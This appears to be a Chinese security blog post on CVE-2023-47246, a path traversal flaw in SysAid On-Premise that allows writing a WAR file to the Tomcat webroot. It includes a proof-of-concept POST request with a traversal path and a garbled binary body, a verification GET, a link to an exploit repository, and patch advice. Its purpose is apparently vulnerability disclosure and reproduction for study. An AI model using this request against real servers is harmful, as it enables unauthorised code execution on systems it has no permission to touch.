CVE-2023-47246远程代码执行漏洞 (附EXP)

网安引领时代，弥天点亮未来

0x00写在前面

本次测试仅供学习使用，如若非法他用，与平台和本文作者无关，需自行负责！

0x01漏洞介绍

Sysaid Technologies SysAid是以色列Sysaid Technologies公司的一套IT服务管理解决方案。SysAid On-Premise是SysAid的本地安装版。

Sysaid Technologies SysAid On-Premise 23.3.36之前版本存在安全漏洞，该漏洞源于存在路径遍历漏洞。攻击者可利用的该漏洞将文件写入Tomcat webroot后执行代码。

0x02影响版本

SysAid On-premise < 23.3.36

0x03漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

POC （POST）

漏洞复现

POST /userentry?accountId=/../../../tomcat/webapps/UIHM3/&symbolName=test&base64UserName=YWRtaW4= HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:47.0) Gecko/20100101 Firefox/47.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 87
xðffa``à`H*ç©«¿Áä±

上传war文件成功

解析文件

GET /UIHM3/CVE-2023-47246.txt HTTP/1.1

3.python脚本测试（漏洞存在）

0x04修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://documentation.sysaid.com/docs/latest-version-installation-fileshttps://github.com/W01fh4cker/CVE-2023-47246-EXP

往期回顾

1111

关注我
获得更多精彩
觉得内容不错，就点下“赞”和“在看”
如侵权请私聊公众号删文